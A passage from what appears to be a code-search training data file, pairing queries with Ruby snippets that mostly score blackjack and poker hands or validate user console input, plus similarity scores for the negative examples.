= 21\n else\n puts \"hand ##{@cur+1} value: #{sum} busted!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = sum \n end\n else\n if sum < 21\n puts \"hand ##{@cur+1} value: #{sum}\"\n @values[@cur] = sum\n elsif 21 == sum\n puts \"hand ##{@cur+1} value: 21\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = 21\n else\n puts \"hand ##{@cur+1} value: #{sum} busted!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = sum\n end\n end\n\n\n puts \"bets for hand ##{@cur+1}: #{@bets[@cur]}\"\n puts \"---------------------------------------------------------\"\n\n if \"finished\" == @hands_status[@cur] \n puts \"hand ##{@cur+1} finished\"\n puts \"\"\n if @cur < @hands.length - 1\n @cur += 1 \n self.check # this recursion is to output the information about newly splitted hand's initial status\n end\n end\n\n end", "def calculate_total(hand) #[['2', 's'], ['a', 'd'], ... etc.] \n \n total = 0\n aces = 0\n hand.each do |card|\n if ['J', 'Q', 'K'].include?(card[0])\n total += 10\n elsif card[0] == 'A'\n aces += 1\n else \n total += card[0].to_i\n end\n end\n \n while aces > 0\n if total + 11 > 21\n total += 1\n else\n total += 11\n end\n aces -= 1\n end\n total\nend", "def value \r\n value = 0\r\n @cards.each do |card|\r\n value += card.value\r\n end\r\n if value > 21\r\n value = 0\r\n @cards.each do |card|\r\n if card.value == 11\r\n value += 1\r\n else\r\n value += card.value\r\n end\r\n end\r\n end\r\n value\r\n end", "def score\n # make a local array that will disappear when not in this method\n tally = []\n # for each of the cards in the hand, add their score to the tally from points\n @hand.each do |card|\n tally.push(@points[card])\n end\n # return the tally of the scores\n return tally.sum\nend", "def player_turn\n player_hand.each do |card|\n puts card\n end\n # hand_value = player_hand.reduce(:+)\n hand_value = player_hand.reduce(0){|sum, num| sum + num.value}\n puts \"You have #{hand_value}\"\n\n puts \"Hit or Stay\"\n answer = gets.chomp.downcase\n if answer == \"hit\"\n hit_phase\n # puts hand_value\n end\n # puts hand_value\n end", "def deal_hand\n\t\thand = Array.new\n\t\t@num_cards.times do\n\t\t\tcard = get_card(get_random_number)\n\t\t\thand << card\n\t\t\tremove_card_from_deck(card)\n\t\tend\n\t\thand\n\tend", "def calc_odds(hand, result)\n current = hand_value(hand)\n return 1.0 if current == result\n return 0.0 if current >= 17\n\n # Remove hand cards from full shute\n cards = new_shute\n hand.each {|c| cards.delete_at(cards.index(c))}\n\n odds = 0.0\n CARDS.each do |c|\n odds_of_card = odds_of(cards, c)\n if odds_of_card > 0.0\n hand.push c\n odds_of_result = calc_odds(hand, result)\n odds += odds_of_card * odds_of_result\n hand.pop\n end\n end\n\n return odds\nend", "def sum\n\t\t#sets sum at 0\n\t\tsum = 0\t\t\n\n\t\t#adds each card to the sum\n\t\t@hand_contents.each do |card|\n\t\t\tsum += card.number\n\t\tend\n\n\t\t@hand_contents.each do |card|\n\t\t\tif card.number.eql? 1 then\n\t\t\t\tif sum + 10 <= 21 then\n\t\t\t\t\tsum += 10\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t#return the sum\t\t\n\t\treturn sum\n\tend", "def possible_scores(cards)\n scores = [0]\n\n cards.each do |card|\n if card.face != 'Ace'\n scores.map! {|score| score + card.value} \n else\n new_scores = Array.new\n scores.each do |score|\n new_scores << score + 1\n new_scores << score + 11\n end\n scores = new_scores\n end\n end\n\n return scores.uniq.select {|score| score < 22}\nend", "def hand_deal\n hand = []\n 2.times do\n @card = self.random_card_deal\n hand.push(@card)\n end\n hand\n end", "def find_value(hand)\n hand.map do |value|\n card_number = value.first\n if card_number == 'K' || card_number == 'J' || card_number == 'Q'\n card_number = 10\n elsif card_number == 1\n card_number = 11\n end\n card_number\n end\n end", "def check\n containAce = false\n i = 0\n sum = 0\n while i < @hand.length\n if 1 == num_to_value(@hand[i])\n containAce = true\n end\n sum += num_to_value(@hand[i])\n i += 1\n end\n\n if containAce\n if sum < 7\n @value = sum + 10\n elsif sum < 11\n @value = sum + 10\n @status = \"finished\"\n elsif 11 == sum\n if 2 == @hand.length \n @value = 50 # 50 means it's BLACKJACK\n @status = \"finished\"\n else\n @value = 21\n @status = \"finished\"\n end\n elsif sum < 17\n @value = sum\n else sum <= 21\n @value = sum\n @status = \"finished\"\n end\n else\n if sum < 17\n @value = sum\n else\n @value = sum\n @status = \"finished\"\n end\n end\n end", "def calculate_points(cards_in_hands)\n points = 0\n cards_without_ace = cards_in_hands.select {|card| card[1] != 'A'}\n cards_with_ace = cards_in_hands.select {|card| card[1] == 'A'}\n cards_without_ace.each do |card|\n if card[0].to_i !=0\n points += card[0].to_i\n else\n points += 10\n end\n end\n if cards_with_ace.empty?\n return points\n else\n ace_sets = [11, 1].repeated_permutation(cards_with_ace.length).to_a\n ace_sets_sum_arr = []\n ace_sets.each do |arr|\n arr_sum = 0\n arr.each {|v| arr_sum = arr_sum + v}\n ace_sets_sum_arr.push(arr_sum)\n end\n ace_sets_sum_arr.sort!.uniq!\n ace_sets_sum_arr.map! {|num| num + points}\n if ace_sets_sum_arr.include?(21)\n points = 21\n return points\n else\n lt_21_arr = ace_sets_sum_arr.select {|v| v < 21}\n gt_21_arr= ace_sets_sum_arr.select {|v| v > 21}\n if lt_21_arr.empty?\n points = gt_21_arr.first\n return points\n else\n points = lt_21_arr.last\n return points\n end\n end\n end\nend", "def flush(hand)\n\t\thand_num = check_num(hand)\n\t\tif !check_consecutive(hand_num) and same_suit(hand)\n\t\t\treturn 5\n\t\tend\n\t\treturn 0\n\tend", "def discard\n\n # organize hand into sorted array of cards\n #### METHOD\n\n puts \"here is your hand #{hand}\"\n\n puts 'what cards? you can only discard 3.'\n\n #the player returns [2,3]\n ##### METHOD\n\n # find hand[2], hand[3] and remove from hand\n ##### METHOD\n\n # hand currently has 3 cards\n\n # hand << deck.deal(2)\n\n #RETURNS new hand\n\n\n #....player1.hand = the new hand\n end", "def hand_rank(hand)\n ranks = card_ranks(hand) # card_ranks return the ranks in sorted order\n\n if straight(ranks) && flush(hand)\n return [8, ranks.max] # 2 3 4 5 6 => [8, 6], 6 7 8 9 T => [8, T]\n elsif kind(4, ranks)\n return [7, kind(4, ranks), kind(1, ranks)] # 9 9 9 9 3 => [7, 9, 3]\n elsif kind(3, ranks) && kind(2, ranks) # 8 8 8 K K => [6, 8, 13]\n return [6, kind(3, ranks), kind(2, ranks)]\n elsif flush(hand)\n return [5, ranks]\n elsif straight(ranks)\n return [4, ranks.max]\n elsif kind(3, ranks)\n return [3, kind(3, ranks), ranks]\n elsif two_pair(ranks)\n return [2, kind(2, ranks), ranks]\n elsif kind(2, ranks)\n return [1, kind(2, ranks), ranks]\n else\n return [0, ranks]\n end\nend", "def get_hand\n return @cards_in_hand\n end", "def score\n score = 0\n aces_count = 0\n @hand_contents.each do |card|\n if card.type == :face\n score += 10\n elsif card.type == :ace\n aces_count += 1\n score += 11\n elsif card.type == :number\n score += card.rank.to_i\n end\n end\n\n while score > 21 && aces_count > 0\n score -= 10\n aces_count -= 1\n end\n score\n end", "def hand_score(hand)\n\tcards= {\"A\"=>4, \"K\"=>3, \"Q\"=>2, \"J\"=>1}\n \tscore = 0\n \thand.each_char { |char| score += cards[char.upcase] }\n \treturn score\nend", "def steal_houses(array)\n return 0 if array.empty?\n\n amounts = [0, array[0]]\n\n i = 2\n while i <= array.length\n amounts[i] = [amounts[i - 1], amounts[i - 2] + array[i - 1]].max\n i += 1\n end\n\n amounts[-1]\nend", "def straight_flush_wake(array)\n #to initialize the hash use '.new'\n hash = Hash.new(0)\n suit = array.first.suit\n #to get suit to increment\n array.each{|card| hash[card.suit] +=1}\n hash.keys.length == 1 && hash [suit] == 5\nend", "def calculate_score(hand_of_cards)\n card_values = hand_of_cards.map{|card_value| card_value[1]}\n total = 0 \n card_values.each do |card_value| \n if card_value == \"ACE\"\n total+= 11\n elsif card_value.to_i == 0 #For suits ie Jester, Queen\n total+= 10\n else \n total+= card_value.to_i\n end\n end \n\n#adjust for Aces\n card_values.select{|card| card == \"ACE\"}.count.times do \n total-=10 if total > 21\n end \n total\nend", "def high_card\n @hand.max_by{|card| card.point}.point.to_i\n end", "def blackjack_score(hand)\n allowed_cards = %w[ 2 3 4 5 6 7 8 9 10 Jack Queen King Ace ]\n\n# Validate input\n if hand.length > 5\n raise ArgumentError.new(\"Your hand contains more than 5 cards.\")\n end \n\n result = hand.all? {|card| allowed_cards.include?(card)}\n if !result\n raise ArgumentError.new(\"Invalid card value.\")\n end \n\n# Calculate score \n score = 0\n hand.each do |card|\n if card.length <= 2\n points = card.to_i\n score += points\n elsif card.length == 3 \n score += 1\n else \n score += 10 \n end \n end\n\n if score <= 11 && hand.include?(\"Ace\")\n score += 10\n end\n\n# Validate result\n if score > 21\n raise ArgumentError.new(\"#{score} is greater than 21, you lose!\")\n end\n\n return score \nend", "def dealer_score\n dealer_hand.inject(0){|sum,n| sum + n.value }\n end", "def accumulate(array)\n cumulative = 0\n array.map { |value| cumulative += value }\n end", "def deal_hand no_of_cards\r\n @card_list.deal_hand no_of_cards\r\n end", "def eval_hand(player, player_hand)\n d = @dealer.hand.count\n p = player_hand.count\n\n if p > 21 || (d > p && d <= 21) # LOSE!\n puts \"You lost $#{player_hand.bet}.\"\n elsif d == p # PUSH!\n player.wallet += player_hand.bet\n puts :Push\n elsif p == 21 && player_hand.size == 2 # BLACKJACK!\n # Blackjack pays out 3/2.\n player.wallet += (player_hand.bet*2.5).to_i\n puts \"You won $#{player_hand.bet*1.5}!\"\n else # WIN!\n player.wallet += (player_hand.bet*2)\n puts \"You won $#{player_hand.bet}!\"\n end\n end", "def player1_score\n player_hand.inject(0){|sum,n| sum + n.value }\n end", "def deal_hand no_of_cards\n @card_list.deal_hand no_of_cards\n end", "def total\n sum = 0\n hand.each do |card|\n sum += card.find_face_value\n end\n sum = correct_for_aces(sum)\n end", "def royal_flush(hand)\nsuit_value = []\nface_value = []\n\thand.each do |card|\n\t\tface_value << card[0]\n\t\tsuit_value << card[1]\n\tend\n\t# suit_value = card_separator(hand)\n\t# If statement checking length of the suit value after suits are separated from royal flush => should all be \"d\" for diamonds(uniq removes all duplicates making the length 1)\n\tif suit_value.uniq.length == 1\n\t\t# Then if face_value inlcudes the [\"A\", \"K\", \"Q\", \"J\", \"T\"] faces, the hand1 value will return true\n\t\ttrue if face_value.include?(\"A\") && face_value.include?(\"K\") && face_value.include?(\"Q\") && face_value.include?(\"J\") && face_value.include?(\"T\")\n\tend\nend", "def result(hand)\n v = value(hand)\n case v\n when 21 then hand.size == 2 && :natural || 21\n when 17..20 then v\n when 0..16 then raise \"error, illegal resulting hand value\"\n else :bust\n end\nend", "def sums_up(cards) \n\tsum = 0\n new_arr = cards.map{|e| e[0]} # generate a new array contain the values returned by the block\n\n new_arr.each do |x| \n \tif x == 'Ace'\n \t\tsum += 11\n elsif x.to_i == 0\n \t# instead of \"x == 'Jack' || x == 'Queen' || x == 'King'\"\"\n \tsum += 10\n else \n \tsum += x.to_i\n end\n end\n\n # correct for Aces\n new_arr.select{|e| e == \"Ace\"}.count.times do # count how many \"ace\"s and do n times\n sum -= 10 if sum >21\n end\n\n\tsum\nend", "def total_query\n\t\t@total = 0\n\t\t@cards_held.times do |x|\n\t\t\t@total += hand_query(x,1,0)\n\t\tend\n\t\treturn @total\n\tend", "def dealTable(hands = 4, cards = 5)\n table = []\n hands.times do \n table << Hand.new\n end\n cards.times do\n table.each{|i| i.addCard(@cards.pop)} \n end \n return table\n end", "def score\n @cards.map(&:value).inject(:+)\n end", "def calculatetotal(cards) # calculating the total of the two cards dealt, first to player then to dealer\n array = cards.map {|card| card[0]} # using the map method to lay out all the cards which are like so [[\"A\", \"S\"], [\"5\", \"C\"]]\n # We then only take the first element of the array and initialize that to the total\n total = 0 # total at the outset is zero\n array.each do |value|\n if value == \"A\" # in the event you get an ace card. \"A\" is as is unlike the bottom ones below\n total += 11 # total should now increase to 11\n elsif value.to_i == 0 # this is to cover for getting J, K, Q cards which defaults value to integer is zero\n total += 10\n else\n total += value.to_i\n end\nend # finished the array\n\n# Correcting Aces in case there are more than one. It should convert aces to 1 instead of 11 if total is more than 21\narray.select {|card| card.include?(\"A\")}.count.times do\n total -= 10 if total > 21\nend\ntotal # don't forget to include total here before exiting. IMPORTANT!!\nend", "def rule_1 *cards\n cards.max + cards.raw_integer_value\n end", "def return *hands\n hands.each do |hand_or_cards|\n cards = (hand_or_cards.is_a?(CardDecks::Hand) ? hand_or_cards.cards : Array.wrap(hand_or_cards))\n @used += cards\n @inhand.delete_if {|c| cards.include?(c) }\n @hands.each {|h| h.cards.delete_if {|c| cards.include?(c) } }\n end\n end", "def calculate_total(cards) #nested array of [['hearts', '3'], ['spades', '4']]\n\t#We want to create methods for extractable, reusable code\n\t#But the object must be in the same form\n\t#you don't have to explicitly indicate \"return\" when you want to render or puts a value, in ruby, the last line is \n\t#returned implicitly.\n\n\tarr = cards.map{|e| e[1] }\n\n\ttotal = 0\n\tarr.each do |value| \n\t\tif value == \"A\"\n\t\t\ttotal += 11\n\t\telsif value.to_i == 0 #if card value has no integer value (equals 0), add 10\n\t\t\ttotal += 10 #in instances of Jack, Queen, or King\n\t\telse\n\t\t\ttotal += value.to_i #if card has an integer value\n\t\tend\n\tend\n#correct for Aces\narr.select{|e| e == \"A\"}.count.times do\n\ttotal -= 10 if total > 21\t\n\tend\n\ttotal\nend", "def current_hand\n @dice.map(&:current_roll).reject { |r| r == 0 }\n end", "def deal_hand(player_index, player_cnt)\n if can_play(player_cnt - player_index) then\n return [ @cards.slice!(0), @cards.slice!(player_cnt - player_index - 1) ]\n else\n raise StandardError, \"Not enough cards left in shoe; please use can_play\"\n end\n end" ]
[ "0.73332304", "0.7060396", "0.70585316", "0.6870108", "0.6807099", "0.67277795", "0.66802436", "0.66329956", "0.66262686", "0.65868926", "0.65823126", "0.65536934", "0.6508829", "0.63910216", "0.6365068", "0.6349529", "0.63408023", "0.6327891", "0.6324644", "0.6221742", "0.6213936", "0.6169774", "0.6132935", "0.6112161", "0.6097211", "0.60812575", "0.6069815", "0.60568607", "0.5986041", "0.59835595", "0.59727687", "0.59561616", "0.5954294", "0.5951734", "0.5935949", "0.5929339", "0.5921588", "0.5857501", "0.58385456", "0.58270514", "0.5800454", "0.5778793", "0.57689047", "0.5766617", "0.57617706", "0.57079035", "0.56893075", "0.5680592", "0.56754476", "0.5655422", "0.5653049", "0.56521726", "0.56460196", "0.5618556", "0.5609945", "0.5608913", "0.5601282", "0.55782336", "0.5577835", "0.55434656", "0.5538939", "0.5532148", "0.5517505", "0.5510197", "0.55082417", "0.5466623", "0.54629624", "0.5462852", "0.54589665", "0.5450281", "0.54239064", "0.542174", "0.54179215", "0.54104316", "0.53871965", "0.53737104", "0.5366792", "0.53414595", "0.5336763", "0.5336152", "0.53357893", "0.53259385", "0.530958", "0.5280689", "0.52796817", "0.5279389", "0.5274938", "0.5272434", "0.52594954", "0.5245482", "0.5237033", "0.5235221", "0.5232158", "0.52307934", "0.5212336", "0.52042794", "0.5192868", "0.5191271", "0.5184832", "0.5180675" ]
0.7102609
1
Ask the user for input and check if it fit one of the accepted input +++ takes one argument: acceptable_input: an array representing the accepted answers
def get_user_input_and_check(acceptable_input) input = gets.chomp.downcase if acceptable_input.include? input return input else puts "This is not an acceptable input ('#{acceptable_input.join("', '")}'), please try again:" get_user_input_and_check(acceptable_input) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validate(answers, input)\n until answers.include?(input)\n puts \"#Invalid input: #{input}\"\n input_answer\n end\n end", "def check_input(valid_inputs)\n input = \"\"\n loop do\n input = gets.chomp.upcase\n break if (valid_inputs).include?(input)\n puts \"Sorry. One more time:\"\n end\n return input\n end", "def check_result(user_input, letters, good_letters, bad_letters)\n e_chars = %w[е ё]\n i_chars = %w[и й]\n char_hash = {\n 'е' => 'ё',\n 'ё' => 'е',\n 'и' => 'й',\n 'й' => 'и'\n }\n\n already_in_good = good_letters.include?(user_input)\n already_in_bad = bad_letters.include?(user_input)\n\n return 0 if already_in_good || already_in_bad\n\n if letters.include?(user_input) ||\n (e_chars.include?(user_input) && letters.any? { |c| e_chars.include?(c) }) ||\n (i_chars.include?(user_input) && letters.any? { |c| i_chars.include?(c) })\n\n good_letters.push(user_input)\n\n if char_hash.keys.include?(user_input)\n char = char_hash[user_input]\n good_letters.push(char)\n end\n\n return (letters - good_letters).empty? ? 1 : 0\n end\n\n bad_letters.push(user_input)\n\n if char_hash.keys.include?(user_input)\n char = char_hash[user_input]\n bad_letters.push(char)\n end\n\n -1\nend", "def check_input (input)\n return false if split_input(input) == false\n return true if (split_input(input).all? {|coordinate| /[0-2]/ === coordinate.to_s})\n puts \"Enter the correct input\"\n return false\n end", "def guess_valid?(input)\n choices = input.map do |choice|\n if choice.to_i.between?(1, 6)\n true\n else\n false\n end\n end\n\n if choices.include? false\n false\n elsif input.size != 4\n false\n else\n true\n end\n end", "def validate_player_input(temp_input, comparison_array = @MAIN_CHOICES)\n validation_results = []\n temp_input.each do |input|\n validation_results << comparison_array.include?(input)\n end\n if (validation_results.all?(true) && (validation_results.length == 4)) == false\n temp_input = request_player_input('Please choose FOUR of the AVAILABLE colors >:(')\n validate_player_input(temp_input, comparison_array)\n else\n temp_input\n end\n end", "def check_input(input, values)\n input_ok = false\n values.each do |value|\n input_ok = true if input.include?(value)\n end\n return input_ok\nend", "def answer_validation(name)\n puts \"\\nHello, #{name}! What would you like to do today?\\n\n [1] Check allergy score.\n [2] Check allergies based on score.\n [3] Check if allergic to.\n [4] See allergy score table\n [5] Exit\"\n answer_keys = [*1..5]\n ans = gets.chomp.to_i\n while !answer_keys.include?(ans)\n puts \"Please navigate through the options using the numbers given.\"\n ans = gets.chomp.to_i\n end\n ans\nend", "def valid_input?(input)\n input.between?(1,Anime.all.size)\n #input <= 1 && >= 10\n end", "def checker(input, prompt)\n input == 'no answer' ? (return input) : nil\n match = prompt.split.find { |x| x[0] == '[' }.delete('[]')\n input.casecmp(match).zero? ? (return 'true') : (return 'false')\n end", "def validate_concert_number_input\n input = gets.chomp\n # if user makes an accetable concert choice, they are walked through ticket purchase options.\n if input.to_i > 0 && input.to_i < Concert.count\n input.to_i\n elsif input == \"exit\"\n exit_screen\n else\n unrecognized_input\n end\n end", "def valid_input?(user_input)\n #use REGEX to check for proper inputs\n proper_input = /\\[[123],[123]\\]/\n if proper_input.match(user_input.to_s)\n return true\n else\n return false\n end\n end", "def valid_option(input, num_options)\n valid = false\n\n while valid == false\n if (1..num_options).to_a.include?(input.to_i)\n valid = true\n else\n puts \"\\nPlease enter a valid option number between 1 and #{num_options}:\"\n print \"⚡️ \"\n input = gets.chomp.strip\n end\n end\n input\n end", "def input_correct?(to_check)\n if(to_check.size != 4 || !to_check.all?{|peg| peg.class == Pegs})\n raise ArgumentError, \"The input should be an array of four peg objects\"\n end\n end", "def decide\n input = '0'\n puts \"What would you like to do? 1) hit 2) stay\"\n loop do\n input = gets.chomp\n if !['1', '2'].include?(input)\n puts \"Error: you must enter 1 or 2\"\n else\n break\n end\n end\n puts \"Hit me!\" if input == '1'\n puts \"Stay!\" if input == '2'\n input \n end", "def get_valid_input(input_type, options = {})\n input = nil\n loop do\n input = gets.chomp\n # binding.pry\n if options.has_key?(:result) && input == \"\"\n input = options[:result]\n break\n else\n if input_type == \"num\"\n numeric?(input) || input.upcase == 'Q' ? break : say(\"Numbers only\")\n else\n %w(1 2 3 4 Q).include?(input.upcase) ? break : say(\"1, 2, 3, or 4 only\")\n end\n end\n end\n input\nend", "def initialize answer; @answer = answer\n@solved = false\n# Validate input\n raise \"Answer must be between 1 and 100\" unless VALID_Numbers.include? @answer\n end", "def verify_answer?(input)\n @rand_arr[0] + @rand_arr[1] == input\nend", "def is_valid_input(input)\n return (input.to_i.to_s == input) && ((1..100).to_a.count(input.to_i) > 0)\nend", "def how_many_human_players()\n p \"How many human players [0: ai vs ai 1: player vs ai, 2: player vs player]\"\n choice = gets.chomp\n if [\"0\", \"1\", \"2\"].include?(choice) \n choice\n else\n p \"Incorrect Input\"\n how_many_human_players()\n end\nend", "def verify_selection(user_input)\n VALID_SELECTIONS.include?(user_input)\nend", "def input(answer, tried_again)\n\n\tputs \"\\nGuess a number between 1 and 100 correctly.\"\n\tguess = gets.chomp.to_i\n\n\tif guess < 101 && guess > 0 \n\t\tprompt(guess, answer, tried_again)\n\telse\n\t\tputs \"The cowboy with wise old eyes sighs.. you lost your chance for free admission.\" \n\t\treturn false\n\tend\n\n\nend", "def check_input (letter)\n # does the input match the single digit length requirement?\n if letter.length() -1 == 1\n # is the input a letter or a number?\n if letter[0][/[a-zA-Z]+/] == letter[0] \n # is the input a match to the generated word? \n if $input_array.include? (letter[0])\n # the input matches the generated word\n return 0\n else\n # the input is valid but does not match the word\n return 1\n end\n else\n # the input meets the length requirement but is not a letter\n return 2\n end\n else\n # the input is not valid\n return 3\n end\nend", "def gatekeeper *values\n user_input = gets.chomp\n valid = false\n values.each {|element| valid = user_input == element}\n while !valid\n puts \"I couldn't understand that, could you try that again?\"\n user_input = gets.chomp\n values.each {|element| valid = user_input == element}\n end\n user_input\nend", "def verification_two(input)\n if input == \"exit\"\n return false\n end\n\n while input.to_i <= 0 || input.to_i > (EndangeredAnimals::Animal.all.length)\n puts \"Please enter a number between 1 and #{EndangeredAnimals::Animal.all.length} or type exit.\"\n input = gets.strip\n\n if input == \"exit\"\n return false\n end\n end\n input\n end", "def check_for_guess(input)\n\t\thave_input = false\n\t\tarray_counter = 0\n\t\t@answer_array.each do |letter|\n\t\t\tif letter.downcase == input.downcase\n\t\t\t\t@blank_word_array[array_counter] = letter\n\t\t\t\thave_input = true\n\t\t\tend\n\t\t\tarray_counter += 1\n\t\tend\n\t\tunless have_input\n\t\t\t@incorrect_array << input\n\t\t\t@guess_counter -= 1\n\t\t\tputs \"There aren't any '#{input}'s\"\n\t\tend\n\tend", "def input_valid?(input)\n begin\n input_arr = input.split(\",\").map(&:to_i)\n if input_arr.size > @board.holes || !input_arr.all? { |i| i <= @board.number_of_pegs }\n return false\n else\n return true\n end\n rescue\n return false\n end\n end", "def uses_available_letters?(input, letters_in_hand)\n if !(input.is_a?(String))\n raise ArgumentError, \"Ummmmmm the value for the first argument needs to be a string, ok? Given value: #{input}\"\n elsif !(letters_in_hand.is_a?(Array))\n raise ArgumentError, \"The second argument should be an array. That doesn't look right...Given value: #{letters_in_hand}\"\n end\n if input.length > letters_in_hand.length\n return false\n else\n # reassigning letters_in_hand to new variable in order to avoid destruction of original array\n possible_letters = letters_in_hand.clone\n input.upcase.split(//).each do |char|\n if possible_letters.include?(char)\n possible_letters.delete(char)\n else\n return false\n end\n end\n end\n return true\nend", "def user_input\r\n puts \"What is today's date?\"\r\n date = gets.chomp\r\n puts \"What exercise did you do?\"\r\n exercise = gets.chomp\r\n # The weight should be consistently kilos or pounds\r\n puts \"What weight did you use?\"\r\n weight = gets.chomp.to_i\r\n # Of course, the sets are broken into sets, but I just want to demonstrate this program for now. I can add reps per set later. This could get complicated. For example, I often do rep ladders. This would be tedious to enter the reps per set, and it would require more looping than I feel like at the moment.\r\n puts \"How many reps did you do?\"\r\n reps = gets.chomp.to_i\r\n puts \"How many minutes did the session take?\"\r\n minutes = gets.chomp.to_f\r\n puts \"Was the session difficult? (true or false)\"\r\n difficult = gets.chomp\r\n input_array = [date, exercise, weight, reps, minutes, difficult]\r\nend", "def test_input(input, guessing_number)\n correct = []\n guessing_number = guessing_number.map { |value| value }\n correct_pos(guessing_number, input, correct)\n wrong_pos(guessing_number, input, correct)\n correct\n end", "def valid_second_input?(second_input)\n allowed_units.include?(second_input)\n end", "def is_op?(input, accept_arr)\n input=input.downcase\n ok = 1 if accept_arr.include?(input)\n ok = 0 if !accept_arr.include?(input)\n return ok\nend", "def is_valid_input(input)\n if input == \"rock\" || input == \"paper\" || input == \"scissors\" || input == \"lizard\" || input == \"spock\"\n return true\n else \n return false \n end\n end", "def input_correct?(guess)\n guess.all? {|i| @color_array.any?{|x| x==i}}\nend", "def validate_input(input)\n if(input < 1)\n return false\n end\n return true\n end", "def valid_input(input)\n valid = false\n parsed_input = downcase_camelcase_input(input)\n while valid == false\n #accepts uppercase or lowercase Y/N\n if parsed_input == \"Y\" || parsed_input ==\"N\"\n valid = true\n else\n puts \"\\nPlease enter Y or N:\\n\"\n print \"⚡️ \"\n input = gets.chomp.strip\n parsed_input = downcase_camelcase_input(input)\n end\n end\n parsed_input\n end", "def good_set_syntax? user_input\n\t\treturn false if user_input.length != 3\n\t\t# user input must only contain integers (between 0 and hand.length-1)\n\t\treturn (user_input.all? {|i| (i.to_i.to_s == i && i.to_i <= @hand.length-1 && i.to_i >= 0 && user_input.count(i) < 2)})\n\tend", "def input_is_valid?(input)\n input.is_a?(Array) && input.length == 2 && input[0] < @board.rows && input[1] < @board.columns && @board[input].face != :up\n end", "def ask_the_question(question, valid_response)\n loop do\n answer = ask(question + \"? [Y/N] \") { |yn| yn.limit = 1, yn.validate = /[yn]/i }\n return answer if answer.downcase == valid_response.downcase || valid_response == ''\n end\nend", "def difficulty(size,marker)\n p \"1 is easy, 2 is medium, and 3 is unbeatable difficulty\"\n choice = gets.chomp\n if [\"1\", \"2\", \"3\"].include?(choice) \n choose_ai(\"ai \" + choice,size,marker)\n else\n p \"Incorrect Input\"\n difficulty(size,marker)\n end\nend", "def tell_a_joke(joke_to_tell, correct_response)\n puts joke_to_tell\n user_input = gets.chomp\n if user_input == correct_response\n return true\n else\n return false\n end\nend", "def again_or_exit?(crate)\n puts \"\\n\\nWhat would you like to do now?\\n1. View another genre.\\n2. Exit\"\n input = gets.strip\n input_i = input.to_i\n acceptable_answers = (1..2).to_a\n while acceptable_answers.none? { |answer| answer == input_i }\n puts \"\\nI'm sorry, that's not a valid option.\"\n puts \"Please enter 1 or 2.\"\n input_i = gets.strip.to_i\n end \n\n if input_i == 1\n self.start(crate)\n else\n puts \"Have a good one!\"\n end\n end", "def valid_input? (input)\n #if statement verifies valid input to continue\n if input == \"amex\"\n @selected_program = AMEX\n return true\n\n elsif input == \"chase\"\n @selected_program = CHASE\n return true\n\n elsif input == \"citi\"\n @selected_program = CITI\n return true\n end #ends if/else statement\n\n end", "def uses_available_letters?(input, letters_in_hand)\n input_array = input.upcase.split(//)\n input_array.each do |letter|\n if input_array.count(letter) > letters_in_hand.count(letter) \n return false\n end\n end\n return true\nend", "def checkUserInput\r\n #initialize mainmenu selection characters array\r\n @mainMenuCharSelection = [\"c\",\"l\",\"u\",\"d\",\"e\"];\r\n #check user input for input validation\r\n if(@mainMenuCharSelection.include? @userInput.downcase)\r\n case @userInput.downcase\r\n when \"c\"\r\n result = BackEndLogic.create(politicians);\r\n \r\n politicians << result;\r\n when \"l\"\r\n BackEndLogic.list(politicians);\r\n when \"u\"\r\n BackEndLogic.update(politicians);\r\n when \"d\"\r\n result = BackEndLogic.remove(politicians);\r\n when \"e\"\r\n @ismainMenuLoop = false;\r\n else\r\n puts \"entry unkown! Try again! \\n\\n\"\r\n end\r\n else\r\n puts \"Please enter a valid choice from the menu options! You chose (#{@userInput}) \\n\\n\";\r\n end\r\n end", "def check_input(input,letter_array)\n input.gsub!(/[^0-9A-Za-z]/, '')\n until input.to_i == 0 && input != \"0\" && input != \"\"\n print \"Please enter a letter: \"\n input = gets.chomp.upcase\n input.gsub!(/[^0-9A-Za-z]/, '')\n end\n if letter_array.include?(input)\n puts \"You have already guessed this letter\"\n print \"Please try again: \"\n input = check_input(gets.chomp.upcase, letter_array)\n end\n return input\nend", "def validate_user_choice\n input = gets.chomp\n if input ==\"exit\"\n exit_screen\n elsif input == \"buy\"\n ticketing_screen\n elsif input.to_i == 1\n concert_screen\n elsif input.to_i == 2\n # if user doesn't want to buy a ticket yet, they can look for other upcoming bands and/or concerts by typing bands.\n bands_screen\n else\n unrecognized_input\n end\n end", "def menu_prompt( input_list, prompt_str )\n # go in to an infinite loop\n while true\n puts menu_print( \"Please choose one option:\", \" \" )\n puts menu_print( prompt_str, \" \")\n # note: even tho the name is the same, this is separate from the\n # var user_response in the procedure outside this method!!! :)\n user_response = gets.chomp.downcase.to_sym\n \n # check user_response against acceptable input list\n if input_list.include?( user_response )\n return user_response # explicit return breaks the loop\n end\n \n puts \"\\n\" + menu_print( \"Sorry, that is not acceptable input...\", \"*\" ) + \"\\n\"\n end\nend", "def check_answer?(input)\n if @answer == input\n return true\n else\n return false\n end\n end", "def user_choice(input = nil)\n loop do\n input ||= gets.chomp.downcase\n break if %w[p i l].include?(input)\n puts \"invalid. (p)lay, (l)oad, or (i)nstructions\"\n input = nil\n end\n input\n end", "def joke_ex2(joke, correct_response)\n puts joke\n user_input = gets.chomp\n if user_input == correct_response\n return true\n else\n return false\n end\nend", "def get_input(message, choices)\n print(message)\n response = gets.chomp.downcase\n while response.length < 1 || !choices.include?(response[0])\n print(\"Invalid selection. \" + message)\n response = gets.chomp.downcase\n end\n return response[0]\nend", "def check_input_files(inputfiles)\n inputfiles.each_key do | type |\n inputfiles[type].flatten!\n check = 0\n inputfiles[type].each do | symbol |\n if @options[symbol] == nil or @options[symbol] == ''\n if type == :required\n raise CheripicArgError.new \"Options #{inputfiles}, all must be specified. Try --help for further help.\"\n end\n else\n file = @options[symbol]\n if symbol == :bg_bulk or symbol == :bg_bulk_vcf\n if file.include? ','\n @options[symbol] = []\n file.split(',').each do | infile |\n @options[symbol] << File.expand_path(infile)\n file_exist?(symbol, infile)\n end\n end\n else\n @options[symbol] = File.expand_path(file)\n file_exist?(symbol, file)\n end\n check = 1\n end\n end\n if type == :either and check == 0\n raise CheripicArgError.new \"One of the options #{inputfiles}, must be specified. \" +\n 'Try --help for further help.'\n end\n end\n end", 